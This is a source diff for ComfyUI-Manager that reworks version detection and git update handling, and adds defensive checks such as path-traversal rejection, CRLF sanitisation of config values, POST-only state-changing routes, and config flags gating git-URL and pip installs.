result = ManagedResult('install')
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
# Fallback for nightly only: use repository URL from CNR map
# when node is registered in CNR but absent from nightly manifest
if version_spec == 'nightly':
cnr_fallback = self.cnr_map.get(node_id)
if cnr_fallback is not None and cnr_fallback.get('repository'):
repo_url = cnr_fallback['repository']
else:
result = ManagedResult('install')
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
else:
result = ManagedResult('install')
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
if self.is_enabled(node_id, version_spec):
return ManagedResult('skip').with_target(f"{node_id}@{version_spec}")
@@ -1574,9 +1659,6 @@ class ManagerFuncs:
def __init__(self):
pass
def get_current_preview_method(self):
return "none"
def run_script(self, cmd, cwd='.'):
if len(cmd) > 0 and cmd[0].startswith("#"):
print(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
@@ -1594,14 +1676,12 @@ def write_config():
config = configparser.ConfigParser(strict=False)
config['default'] = {
'preview_method': manager_funcs.get_current_preview_method(),
'git_exe': get_config()['git_exe'],
'use_uv': get_config()['use_uv'],
'channel_url': get_config()['channel_url'],
'share_option': get_config()['share_option'],
'bypass_ssl': get_config()['bypass_ssl'],
"file_logging": get_config()['file_logging'],
'component_policy': get_config()['component_policy'],
'update_policy': get_config()['update_policy'],
'windows_selector_event_loop_policy': get_config()['windows_selector_event_loop_policy'],
'model_download_by_agent': get_config()['model_download_by_agent'],
@@ -1610,8 +1690,15 @@ def write_config():
'always_lazy_install': get_config()['always_lazy_install'],
'network_mode': get_config()['network_mode'],
'db_mode': get_config()['db_mode'],
'allow_git_url_install': get_config()['allow_git_url_install'],
'allow_pip_install': get_config()['allow_pip_install'],
}
# Sanitize all string values to prevent CRLF injection attacks
for key, value in config['default'].items():
if isinstance(value, str):
config['default'][key] = value.replace('\r', '').replace('\n', '').replace('\x00', '')
directory = os.path.dirname(context.manager_config_path)
if not os.path.exists(directory):
os.makedirs(directory)
@@ -1634,7 +1721,6 @@ def read_config():
return {
'http_channel_enabled': get_bool('http_channel_enabled', False),
'preview_method': default_conf.get('preview_method', manager_funcs.get_current_preview_method()).lower(),
'git_exe': default_conf.get('git_exe', ''),
'use_uv': get_bool('use_uv', True),
'channel_url': default_conf.get('channel_url', DEFAULT_CHANNEL),
@@ -1642,7 +1728,6 @@ def read_config():
'share_option': default_conf.get('share_option', 'all').lower(),
'bypass_ssl': get_bool('bypass_ssl', False),
'file_logging': get_bool('file_logging', True),
'component_policy': default_conf.get('component_policy', 'workflow').lower(),
'update_policy': default_conf.get('update_policy', 'stable-comfyui').lower(),
'windows_selector_event_loop_policy': get_bool('windows_selector_event_loop_policy', False),
'model_download_by_agent': get_bool('model_download_by_agent', False),
@@ -1651,6 +1736,8 @@ def read_config():
'network_mode': default_conf.get('network_mode', NetworkMode.PUBLIC.value).lower(),
'security_level': default_conf.get('security_level', SecurityLevel.NORMAL.value).lower(),
'db_mode': default_conf.get('db_mode', DBMode.CACHE.value).lower(),
'allow_git_url_install': get_bool('allow_git_url_install', False),
'allow_pip_install': get_bool('allow_pip_install', False),
}
except Exception:
@@ -1659,7 +1746,6 @@ def read_config():
return {
'http_channel_enabled': False,
'preview_method': manager_funcs.get_current_preview_method(),
'git_exe': '',
'use_uv': True,
'channel_url': DEFAULT_CHANNEL,
@@ -1667,7 +1753,6 @@ def read_config():
'share_option': 'all',
'bypass_ssl': manager_util.bypass_ssl,
'file_logging': True,
'component_policy': 'workflow',
'update_policy': 'stable-comfyui',
'windows_selector_event_loop_policy': False,
'model_download_by_agent': False,
@@ -1676,6 +1761,8 @@ def read_config():
'network_mode': NetworkMode.PUBLIC.value,
'security_level': SecurityLevel.NORMAL.value,
'db_mode': DBMode.CACHE.value,
'allow_git_url_install': False,
'allow_pip_install': False,
}
@@ -1757,11 +1844,34 @@ def reserve_script(repo_path, install_cmds):
def try_rmtree(title, fullpath):
# Tier 1: retry with delay for transient Windows file locks
for attempt in range(3):
try:
shutil.rmtree(fullpath)
return
except OSError:
if attempt < 2:
time.sleep(1)
# Tier 2: rename into .disabled/.trash/ so scanner ignores it
trash_dir = os.path.join(os.path.dirname(fullpath), '.disabled', '.trash')
os.makedirs(trash_dir, exist_ok=True)
trash = os.path.join(trash_dir, os.path.basename(fullpath) + f'_{uuid.uuid4().hex[:8]}')
try:
shutil.rmtree(fullpath)
except Exception as e:
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.\nEXCEPTION: {e}")
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
os.rename(fullpath, trash)
shutil.rmtree(trash, ignore_errors=True)
if not os.path.exists(trash):
return
# Rename succeeded but delete failed — schedule trash path for lazy delete
logging.warning(f"[ComfyUI-Manager] Renamed '{fullpath}' to '{trash}' but could not delete; scheduled for restart.")
reserve_script(title, ["#LAZY-DELETE-NODEPACK", trash])
return
except OSError:
pass
# Tier 3: lazy delete on restart (ComfyUI GUI fallback)
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.")
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
def try_install_script(url, repo_path, install_cmd, instant_execution=False):
@@ -1911,6 +2021,27 @@ def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=Fa
return True
def install_manager_requirements(repo_path):
"""
Install packages from manager_requirements.txt if it exists.
This is specifically for ComfyUI's manager_requirements.txt.
"""
manager_requirements_path = os.path.join(repo_path, "manager_requirements.txt")
if not os.path.exists(manager_requirements_path):
return
logging.info("[ComfyUI-Manager] Installing manager_requirements.txt")
with open(manager_requirements_path, "r") as f:
for line in f:
line = line.strip()
if line and not line.startswith('#'):
if '#' in line:
line = line.split('#')[0].strip()
if line:
install_cmd = manager_util.make_pip_cmd(["install", line])
subprocess.run(install_cmd)
def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=False):
"""
@@ -1989,7 +2120,15 @@ def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=Fa
return False, True
try:
remote.pull()
try:
repo.git.pull('--ff-only')
except git.GitCommandError:
backup_name = get_backup_branch_name(repo)
repo.create_head(backup_name)
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
logging.info(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
repo.git.submodule('update', '--init', '--recursive')
new_commit_hash = repo.head.commit.hexsha
@@ -2046,16 +2185,15 @@ class GitProgress(RemoteProgress):
def is_valid_url(url):
try:
# Check for HTTP/HTTPS URL format
result = urlparse(url)
if all([result.scheme, result.netloc]):
return True
finally:
# Check for SSH git URL format
pattern = re.compile(r"^(.+@|ssh://).+:.+$")
if pattern.match(url):
return True
# Check for HTTP/HTTPS URL format
result = urlparse(url)
if result.scheme and result.netloc:
return True
# Check for SSH git URL format
if SSH_URL_PATTERN.match(url):
return True
return False
@@ -2144,9 +2282,17 @@ def git_pull(path):
current_branch = repo.active_branch
remote_name = current_branch.tracking_branch().remote_name
remote = repo.remote(name=remote_name)
branch_name = current_branch.name
try:
repo.git.pull('--ff-only')
except git.GitCommandError:
backup_name = get_backup_branch_name(repo)
repo.create_head(backup_name)
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
logging.info(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
remote.pull()
repo.git.submodule('update', '--init', '--recursive')
repo.close()
@@ -2414,22 +2560,23 @@ def update_to_stable_comfyui(repo_path):
logging.error('\t'+branch.name)
return "fail", None
versions, current_tag, _ = get_comfyui_versions(repo)
if len(versions) == 0 or (len(versions) == 1 and versions[0] == 'nightly'):
versions, current_tag, latest_tag = get_comfyui_versions(repo)
if latest_tag is None:
logging.info("[ComfyUI-Manager] Unable to update to the stable ComfyUI version.")
return "fail", None
if versions[0] == 'nightly':
latest_tag = versions[1]
else:
latest_tag = versions[0]
if current_tag == latest_tag:
tag_ref = next((t for t in repo.tags if t.name == latest_tag), None)
if tag_ref is None:
logging.info(f"[ComfyUI-Manager] Unable to locate tag '{latest_tag}' in repository.")
return "fail", None
if repo.head.commit == tag_ref.commit:
return "skip", None
else:
logging.info(f"[ComfyUI-Manager] Updating ComfyUI: {current_tag} -> {latest_tag}")
repo.git.checkout(latest_tag)
repo.git.checkout(tag_ref.name)
execute_install_script("ComfyUI", repo_path, instant_execution=False, no_deps=False)
return 'updated', latest_tag
except Exception:
traceback.print_exc()
@@ -2561,9 +2708,13 @@ def check_state_of_git_node_pack_single(item, do_fetch=False, do_update_check=Tr
def get_installed_pip_packages():
# extract pip package infos
cmd = manager_util.make_pip_cmd(['freeze'])
pips = subprocess.check_output(cmd, text=True).split('\n')
try:
# extract pip package infos
cmd = manager_util.make_pip_cmd(['freeze'])
pips = subprocess.check_output(cmd, text=True).split('\n')
except Exception as e:
logging.warning("[ComfyUI-Manager] Could not enumerate pip packages for snapshot: %s", e)
return {}
res = {}
for x in pips:
@@ -2655,9 +2806,7 @@ async def get_current_snapshot(custom_nodes_only = False):
async def save_snapshot_with_postfix(postfix, path=None, custom_nodes_only = False):
if path is None:
now = datetime.now()
date_time_format = now.strftime("%Y-%m-%d_%H-%M-%S")
date_time_format = get_timestamp_for_path()
file_name = f"{date_time_format}_{postfix}"
path = os.path.join(context.manager_snapshot_path, f"{file_name}.json")
@@ -3248,36 +3397,85 @@ async def restore_snapshot(snapshot_path, git_helper_extras=None):
def get_comfyui_versions(repo=None):
if repo is None:
repo = git.Repo(context.comfy_path)
repo = repo or git.Repo(context.comfy_path)
remote_name = None
try:
remote = get_remote_name(repo)
repo.remotes[remote].fetch()
remote_name = get_remote_name(repo)
repo.remotes[remote_name].fetch()
except Exception:
logging.error("[ComfyUI-Manager] Failed to fetch ComfyUI")
versions = [x.name for x in repo.tags if x.name.startswith('v')]
def parse_semver(tag_name):
match = re.match(r'^v(\d+)\.(\d+)\.(\d+)$', tag_name)
return tuple(int(x) for x in match.groups()) if match else None
# nearest tag
versions = sorted(versions, key=lambda v: repo.git.log('-1', '--format=%ct', v), reverse=True)
versions = versions[:4]
def normalize_describe(tag_name):
if not tag_name:
return None
base = tag_name.split('-', 1)[0]
return base if parse_semver(base) else None
current_tag = repo.git.describe('--tags')
# Collect semver tags and sort descending (highest first)
semver_tags = []
for tag in repo.tags:
semver = parse_semver(tag.name)
if semver:
semver_tags.append((semver, tag.name))
semver_tags.sort(key=lambda x: x[0], reverse=True)
semver_tags = [name for _, name in semver_tags]
if current_tag not in versions:
versions = sorted(versions + [current_tag], key=lambda v: repo.git.log('-1', '--format=%ct', v), reverse=True)
versions = versions[:4]
latest_tag = semver_tags[0] if semver_tags else None
main_branch = repo.heads.master
latest_commit = main_branch.commit
latest_tag = repo.git.describe('--tags', latest_commit.hexsha)
try:
described = repo.git.describe('--tags')
except Exception:
described = ''
if latest_tag != versions[0]:
versions.insert(0, 'nightly')
else:
versions[0] = 'nightly'
try:
exact_tag = repo.git.describe('--tags', '--exact-match')
except Exception:
exact_tag = ''
head_is_default = False
if remote_name:
try:
default_head_ref = repo.refs[f'{remote_name}/HEAD']
default_commit = default_head_ref.reference.commit
head_is_default = repo.head.commit == default_commit
except Exception:
# Fallback: compare directly with master branch
try:
if 'master' in [h.name for h in repo.heads]:
head_is_default = repo.head.commit == repo.heads.master.commit
except Exception:
head_is_default = False
nearest_semver = normalize_describe(described)
exact_semver = exact_tag if parse_semver(exact_tag) else None
if head_is_default and not exact_tag:
current_tag = 'nightly'
else:
current_tag = exact_tag or described or 'nightly'
# Prepare semver list for display: top 4 plus the current/nearest semver if missing
display_semver_tags = semver_tags[:4]
if exact_semver and exact_semver not in display_semver_tags:
display_semver_tags.append(exact_semver)
elif nearest_semver and nearest_semver not in display_semver_tags:
display_semver_tags.append(nearest_semver)
versions = ['nightly']
if current_tag and not exact_semver and current_tag not in versions and current_tag not in display_semver_tags:
versions.append(current_tag)
for tag in display_semver_tags:
if tag not in versions:
versions.append(tag)
versions = versions[:6]
return versions, current_tag, latest_tag
+256 -264
View File
@@ -24,7 +24,6 @@ from ..common import cm_global
from ..common import manager_downloader
from ..common import context
from ..common import manager_security
from ..common import snapshot_util
logging.info(f"### Loading: ComfyUI-Manager ({core.version_str})")
@@ -40,9 +39,12 @@ comfyui_tag = None
SECURITY_MESSAGE_MIDDLE = "ERROR: To use this action, a security_level of `normal or below` is required. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_MIDDLE_P = "ERROR: To use this action, security_level must be `normal or below`, and network_mode must be set to `personal_cloud`. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_HIGH_P = "ERROR: To use this action, '--listen' must be set to a local IP and security_level must be 'normal-' or lower. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_NORMAL_MINUS = "ERROR: To use this feature, you must either set '--listen' to a local IP and set the security level to 'normal-' or lower, or set the security level to 'middle' or 'weak'. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_GENERAL = "ERROR: This installation is not allowed in this security_level. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_NORMAL_MINUS_MODEL = "ERROR: Downloading models that are not in '.safetensors' format is only allowed for models registered in the 'default' channel at this security level. If you want to download this model, set the security level to 'normal-' or lower."
SECURITY_MESSAGE_FLAG_GIT_URL = "ERROR: This action requires 'allow_git_url_install = true' in config.ini ([default] section). This setting is independent of security_level. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_FLAG_PIP = "ERROR: This action requires 'allow_pip_install = true' in config.ini ([default] section). This setting is independent of security_level. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
routes = PromptServer.instance.routes
@@ -62,7 +64,6 @@ def handle_stream(stream, prefix):
from comfy.cli_args import args
import latent_preview
def is_loopback(address):
import ipaddress
@@ -123,6 +124,18 @@ def is_allowed_security_level(level):
return True
def _dedicated_install_allowed(flag_key: str) -> bool:
"""goal265: P-direct gate for the dedicated install flags (spec §1.2).
allowed iff config[flag_key] AND (loopback listener OR
network_mode == 'personal_cloud') — fully decoupled from security_level.
Resolves config through the LEGACY reader and delegates the pure
predicate to common/manager_security (which stays config-import-free).
"""
return manager_security.is_dedicated_install_allowed(
core.get_config()[flag_key], args.listen, core.get_config()['network_mode'])
async def get_risky_level(files, pip_packages):
json_data1 = await core.get_data_by_mode('local', 'custom-node-list.json')
json_data2 = await core.get_data_by_mode('cache', 'custom-node-list.json', channel_url='https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main')
@@ -147,16 +160,6 @@ async def get_risky_level(files, pip_packages):
class ManagerFuncsInComfyUI(core.ManagerFuncs):
def get_current_preview_method(self):
if args.preview_method == latent_preview.LatentPreviewMethod.Auto:
return "auto"
elif args.preview_method == latent_preview.LatentPreviewMethod.Latent2RGB:
return "latent2rgb"
elif args.preview_method == latent_preview.LatentPreviewMethod.TAESD:
return "taesd"
else:
return "none"
def run_script(self, cmd, cwd='.'):
if len(cmd) > 0 and cmd[0].startswith("#"):
logging.error(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
@@ -189,25 +192,6 @@ local_db_custom_node_list = os.path.join(manager_util.comfyui_manager_path, "cus
local_db_extension_node_mappings = os.path.join(manager_util.comfyui_manager_path, "extension-node-map.json")
def set_preview_method(method):
if method == 'auto':
args.preview_method = latent_preview.LatentPreviewMethod.Auto
elif method == 'latent2rgb':
args.preview_method = latent_preview.LatentPreviewMethod.Latent2RGB
elif method == 'taesd':
args.preview_method = latent_preview.LatentPreviewMethod.TAESD
else:
args.preview_method = latent_preview.LatentPreviewMethod.NoPreviews
core.get_config()['preview_method'] = method
set_preview_method(core.get_config()['preview_method'])
def set_component_policy(mode):
core.get_config()['component_policy'] = mode
def set_update_policy(mode):
core.get_config()['update_policy'] = mode
@@ -520,8 +504,12 @@ async def task_worker():
res = core.unified_manager.unified_update(node_name, node_ver)
if res.ver == 'unknown':
# unknown_active_nodes[node_id] = (url, fullpath) — url can be
# None when git_utils.git_url() in manager_core can't determine
# the remote URL. Downstream branches at L504/507 already
# handle url is None, so we just need a None-safe title.
url = core.unified_manager.unknown_active_nodes[node_name][0]
title = os.path.basename(url)
title = os.path.basename(url) if url else node_name
else:
url = core.unified_manager.cnr_map[node_name].get('repository')
title = core.unified_manager.cnr_map[node_name]['name']
@@ -562,6 +550,8 @@ async def task_worker():
logging.error("ComfyUI update failed")
return "fail"
elif res == "updated":
core.install_manager_requirements(repo_path)
if is_stable:
logging.info("ComfyUI is updated to latest stable version.")
return "success-stable-"+latest_tag
@@ -578,6 +568,14 @@ async def task_worker():
return "An error occurred while updating 'comfyui'."
async def do_fix(item) -> str:
# Align check level with SECURITY_MESSAGE_HIGH_P (which names "high+"),
# matching the parallel update in comfyui_manager/glob/manager_server.py
# do_fix. Prior combo of `'high' + HIGH_P` logged a stricter-sounding
# message than the gate actually enforced.
if not is_allowed_security_level('high+'):
logging.error(SECURITY_MESSAGE_HIGH_P)
return 'failed'
ui_id, node_name, node_ver = item
try:
@@ -843,8 +841,13 @@ async def get_history_list(request):
@routes.get("/v2/manager/queue/history")
async def get_history(request):
try:
json_name = request.rel_url.query["id"]+'.json'
batch_path = os.path.join(context.manager_batch_history_path, json_name)
history_id = request.rel_url.query["id"]
# Prevent path traversal attacks
batch_path = manager_security.get_safe_file_path(history_id, context.manager_batch_history_path)
if batch_path is None:
logging.warning(f"[Security] Invalid history id rejected: {history_id}")
return web.Response(text="Invalid history id", status=400)
with open(batch_path, 'r', encoding='utf-8') as file:
json_str = file.read()
@@ -920,8 +923,11 @@ async def fetch_updates(request):
return web.Response(status=400)
@routes.get("/v2/manager/queue/update_all")
@routes.post("/v2/manager/queue/update_all")
async def update_all(request):
rejection = manager_security.reject_simple_form_post(request)
if rejection is not None:
return rejection
json_data = dict(request.rel_url.query)
return await _update_all(json_data)
@@ -1073,12 +1079,15 @@ async def fetch_customnode_list(request):
if channel != 'local':
found = 'custom'
for name, url in core.get_channel_dict().items():
if url == channel:
found = name
break
if channel == core.DEFAULT_CHANNEL or channel == core.DEFAULT_CHANNEL_LEGACY:
channel = 'default'
else:
for name, url in core.get_channel_dict().items():
if url == channel:
found = name
break
channel = found
channel = found
result = dict(channel=channel, node_packs=node_packs.to_dict())
@@ -1169,15 +1178,18 @@ async def fetch_externalmodel_list(request):
return web.json_response(json_obj, content_type='application/json')
@routes.get("/v2/snapshot/getlist")
@PromptServer.instance.routes.get("/v2/snapshot/getlist")
async def get_snapshot_list(request):
items = [f[:-5] for f in os.listdir(context.manager_snapshot_path) if f.endswith('.json')]
items.sort(reverse=True)
return web.json_response({'items': items}, content_type='application/json')
@routes.get("/v2/snapshot/remove")
@routes.post("/v2/snapshot/remove")
async def remove_snapshot(request):
rejection = manager_security.reject_simple_form_post(request)
if rejection is not None:
return rejection
if not is_allowed_security_level('middle'):
logging.error(SECURITY_MESSAGE_MIDDLE)
return web.Response(status=403)
@@ -1185,7 +1197,12 @@ async def remove_snapshot(request):
try:
target = request.rel_url.query["target"]
path = os.path.join(context.manager_snapshot_path, f"{target}.json")
# Prevent path traversal attacks
path = manager_security.get_safe_file_path(target, context.manager_snapshot_path)
if path is None:
logging.warning(f"[Security] Invalid snapshot target rejected: {target}")
return web.Response(text="Invalid target", status=400)
if os.path.exists(path):
os.remove(path)
@@ -1194,8 +1211,11 @@ async def remove_snapshot(request):
return web.Response(status=400)
@routes.get("/v2/snapshot/restore")
@routes.post("/v2/snapshot/restore")
async def restore_snapshot(request):
rejection = manager_security.reject_simple_form_post(request)
if rejection is not None:
return rejection
if not is_allowed_security_level('middle+'):
logging.error(SECURITY_MESSAGE_MIDDLE_P)
return web.Response(status=403)
@@ -1203,7 +1223,12 @@ async def restore_snapshot(request):
try:
target = request.rel_url.query["target"]
path = os.path.join(context.manager_snapshot_path, f"{target}.json")
# Prevent path traversal attacks
path = manager_security.get_safe_file_path(target, context.manager_snapshot_path)
if path is None:
logging.warning(f"[Security] Invalid snapshot target rejected: {target}")
return web.Response(text="Invalid target", status=400)
if os.path.exists(path):
if not os.path.exists(context.manager_startup_script_path):
os.makedirs(context.manager_startup_script_path)
@@ -1228,8 +1253,11 @@ async def get_current_snapshot_api(request):
return web.Response(status=400)
@routes.get("/v2/snapshot/save")
@routes.post("/v2/snapshot/save")
async def save_snapshot(request):
rejection = manager_security.reject_simple_form_post(request)
if rejection is not None:
return rejection
try:
await core.save_snapshot_with_postfix('snapshot')
return web.Response(status=200)
@@ -1237,46 +1265,6 @@ async def save_snapshot(request):
return web.Response(status=400)
@routes.get("/v2/snapshot/diff")
async def get_snapshot_diff(request):
try:
from_id = request.rel_url.query.get("from")
to_id = request.rel_url.query.get("to")
if (from_id is not None and '..' in from_id) or (to_id is not None and '..' in to_id):
logging.error("/v2/snapshot/diff: invalid 'from' or 'to' parameter.")
return web.Response(status=400)
if from_id is None:
from_json = await core.get_current_snapshot()
else:
from_path = os.path.join(context.manager_snapshot_path, f"{from_id}.json")
if not os.path.exists(from_path):
logging.error(f"/v2/snapshot/diff: 'from' parameter file not found: {from_path}")
return web.Response(status=400)
from_json = snapshot_util.read_snapshot(from_path)
if to_id is None:
logging.error("/v2/snapshot/diff: 'to' parameter is required.")
return web.Response(status=401)
else:
to_path = os.path.join(context.manager_snapshot_path, f"{to_id}.json")
if not os.path.exists(to_path):
logging.error(f"/v2/snapshot/diff: 'to' parameter file not found: {to_path}")
return web.Response(status=400)
to_json = snapshot_util.read_snapshot(to_path)
return web.json_response(snapshot_util.diff_snapshot(from_json, to_json), content_type='application/json')
except Exception as e:
logging.error(f"[ComfyUI-Manager] Error in /v2/snapshot/diff: {e}")
traceback.print_exc()
# Return a generic error response
return web.Response(status=400)
def unzip_install(files):
temp_filename = 'manager-temp.zip'
for url in files:
@@ -1349,14 +1337,71 @@ async def import_fail_info(request):
return web.Response(status=400)
@routes.post("/v2/manager/queue/reinstall")
async def reinstall_custom_node(request):
await uninstall_custom_node(request)
await install_custom_node(request)
@routes.post("/v2/customnode/import_fail_info_bulk")
async def import_fail_info_bulk(request):
try:
json_data = await request.json()
# Basic validation - ensure we have either cnr_ids or urls
if not isinstance(json_data, dict):
return web.Response(status=400, text="Request body must be a JSON object")
if "cnr_ids" not in json_data and "urls" not in json_data:
return web.Response(
status=400, text="Either 'cnr_ids' or 'urls' field is required"
)
await core.unified_manager.reload('cache')
await core.unified_manager.get_custom_nodes('default', 'cache')
results = {}
if "cnr_ids" in json_data:
if not isinstance(json_data["cnr_ids"], list):
return web.Response(status=400, text="'cnr_ids' must be an array")
for cnr_id in json_data["cnr_ids"]:
if not isinstance(cnr_id, str):
results[cnr_id] = {"error": "cnr_id must be a string"}
continue
module_name = core.unified_manager.get_module_name(cnr_id)
if module_name is not None:
info = cm_global.error_dict.get(module_name)
if info is not None:
results[cnr_id] = info
else:
results[cnr_id] = None
else:
results[cnr_id] = None
if "urls" in json_data:
if not isinstance(json_data["urls"], list):
return web.Response(status=400, text="'urls' must be an array")
for url in json_data["urls"]:
if not isinstance(url, str):
results[url] = {"error": "url must be a string"}
continue
module_name = core.unified_manager.get_module_name(url)
if module_name is not None:
info = cm_global.error_dict.get(module_name)
if info is not None:
results[url] = info
else:
results[url] = None
else:
results[url] = None
return web.json_response(results)
except Exception as e:
logging.error(f"[ComfyUI-Manager] Error processing bulk import fail info: {e}")
return web.Response(status=500, text="Internal server error")
@routes.get("/v2/manager/queue/reset")
@routes.post("/v2/manager/queue/reset")
async def reset_queue(request):
rejection = manager_security.reject_simple_form_post(request)
if rejection is not None:
return rejection
global task_batch_queue
global temp_queue_batch
@@ -1367,19 +1412,6 @@ async def reset_queue(request):
return web.Response(status=200)
@routes.get("/v2/manager/queue/abort_current")
async def abort_queue(request):
global task_batch_queue
global temp_queue_batch
with task_worker_lock:
temp_queue_batch = []
if len(task_batch_queue) > 0:
task_batch_queue[0].abort()
task_batch_queue.popleft()
return web.Response(status=200)
@routes.get("/v2/manager/queue/status")
async def queue_count(request):
@@ -1405,13 +1437,6 @@ async def queue_count(request):
'is_processing': is_processing})
@routes.post("/v2/manager/queue/install")
async def install_custom_node(request):
json_data = await request.json()
print(f"install={json_data}")
return await _install_custom_node(json_data)
async def _install_custom_node(json_data):
if not is_allowed_security_level('middle+'):
logging.error(SECURITY_MESSAGE_MIDDLE_P)
@@ -1462,7 +1487,15 @@ async def _install_custom_node(json_data):
else:
return web.Response(status=404, text=f"Following node pack doesn't provide `nightly` version: ${git_url}")
if not is_allowed_security_level(risky_level):
# goal265 S-C (middle+ entry gate above UNCHANGED): unknown git URL ('high+')
# -> dedicated-flag full predicate replaces the security_level check (spec §1.2);
# unknown pip ('block') -> unconditional deny via is_allowed_security_level (Q1).
# Flag-deny PRESERVES today's 404 response shape at this position (R1).
if risky_level == 'high+':
if not _dedicated_install_allowed('allow_git_url_install'):
logging.error(SECURITY_MESSAGE_FLAG_GIT_URL)
return web.Response(status=404, text="A security error has occurred. Please check the terminal logs")
elif not is_allowed_security_level(risky_level):
logging.error(SECURITY_MESSAGE_GENERAL)
return web.Response(status=404, text="A security error has occurred. Please check the terminal logs")
@@ -1474,8 +1507,11 @@ async def _install_custom_node(json_data):
task_worker_thread:threading.Thread = None
@routes.get("/v2/manager/queue/start")
@routes.post("/v2/manager/queue/start")
async def queue_start(request):
rejection = manager_security.reject_simple_form_post(request)
if rejection is not None:
return rejection
with task_worker_lock:
finalize_temp_queue_batch()
return _queue_start()
@@ -1492,12 +1528,6 @@ def _queue_start():
return web.Response(status=200)
@routes.post("/v2/manager/queue/fix")
async def fix_custom_node(request):
json_data = await request.json()
return await _fix_custom_node(json_data)
async def _fix_custom_node(json_data):
if not is_allowed_security_level('middle'):
logging.error(SECURITY_MESSAGE_GENERAL)
@@ -1519,8 +1549,9 @@ async def _fix_custom_node(json_data):
@routes.post("/v2/customnode/install/git_url")
async def install_custom_node_git_url(request):
if not is_allowed_security_level('high+'):
logging.error(SECURITY_MESSAGE_NORMAL_MINUS)
# goal265 S-A: dedicated-flag gate, decoupled from security_level (spec §1.2).
if not _dedicated_install_allowed('allow_git_url_install'):
logging.error(SECURITY_MESSAGE_FLAG_GIT_URL)
return web.Response(status=403)
url = await request.text()
@@ -1539,8 +1570,9 @@ async def install_custom_node_git_url(request):
@routes.post("/v2/customnode/install/pip")
async def install_custom_node_pip(request):
if not is_allowed_security_level('high+'):
logging.error(SECURITY_MESSAGE_NORMAL_MINUS)
# goal265 S-B: dedicated-flag gate, decoupled from security_level (spec §1.2).
if not _dedicated_install_allowed('allow_pip_install'):
logging.error(SECURITY_MESSAGE_FLAG_PIP)
return web.Response(status=403)
packages = await request.text()
@@ -1549,12 +1581,6 @@ async def install_custom_node_pip(request):
return web.Response(status=200)
@routes.post("/v2/manager/queue/uninstall")
async def uninstall_custom_node(request):
json_data = await request.json()
return await _uninstall_custom_node(json_data)
async def _uninstall_custom_node(json_data):
if not is_allowed_security_level('middle'):
logging.error(SECURITY_MESSAGE_MIDDLE)
@@ -1575,12 +1601,6 @@ async def _uninstall_custom_node(json_data):
return web.Response(status=200)
@routes.post("/v2/manager/queue/update")
async def update_custom_node(request):
json_data = await request.json()
return await _update_custom_node(json_data)
async def _update_custom_node(json_data):
if not is_allowed_security_level('middle'):
logging.error(SECURITY_MESSAGE_MIDDLE)
@@ -1599,8 +1619,11 @@ async def _update_custom_node(json_data):
return web.Response(status=200)
@routes.get("/v2/manager/queue/update_comfyui")
@routes.post("/v2/manager/queue/update_comfyui")
async def update_comfyui(request):
rejection = manager_security.reject_simple_form_post(request)
if rejection is not None:
return rejection
is_stable = core.get_config()['update_policy'] != 'nightly-comfyui'
temp_queue_batch.append(("update-comfyui", ('comfyui', is_stable)))
return web.Response(status=200)
@@ -1617,24 +1640,28 @@ async def comfyui_versions(request):
return web.Response(status=400)
@routes.get("/v2/comfyui_manager/comfyui_switch_version")
@routes.post("/v2/comfyui_manager/comfyui_switch_version")
async def comfyui_switch_version(request):
try:
if "ver" in request.rel_url.query:
core.switch_comfyui(request.rel_url.query['ver'])
# Body-reading handler — Content-Type gate omitted per
# comfyui_manager/common/manager_security.py module policy: a cross-origin
# <form method=POST> cannot forge a valid application/json body because
# the browser would trigger a CORS preflight that this server refuses.
if not is_allowed_security_level('high+'):
logging.error(SECURITY_MESSAGE_HIGH_P)
return web.Response(status=403)
try:
data = await request.json()
ver = data.get('ver')
if not ver:
return web.Response(status=400, text="missing 'ver' field")
core.switch_comfyui(ver)
return web.Response(status=200)
except json.JSONDecodeError:
return web.Response(status=400, text="Invalid JSON body")
except Exception as e:
logging.error(f"ComfyUI update fail: {e}", file=sys.stderr)
return web.Response(status=400)
@routes.post("/v2/manager/queue/disable")
async def disable_node(request):
json_data = await request.json()
await _disable_node(json_data)
return web.Response(status=200)
return web.Response(status=400)
async def _disable_node(json_data):
@@ -1702,73 +1729,90 @@ async def _install_model(json_data):
return web.Response(status=200)
@routes.get("/v2/manager/preview_method")
async def preview_method(request):
if "value" in request.rel_url.query:
set_preview_method(request.rel_url.query['value'])
core.write_config()
else:
return web.Response(text=core.manager_funcs.get_current_preview_method(), status=200)
return web.Response(status=200)
@routes.get("/v2/manager/db_mode")
async def db_mode(request):
if "value" in request.rel_url.query:
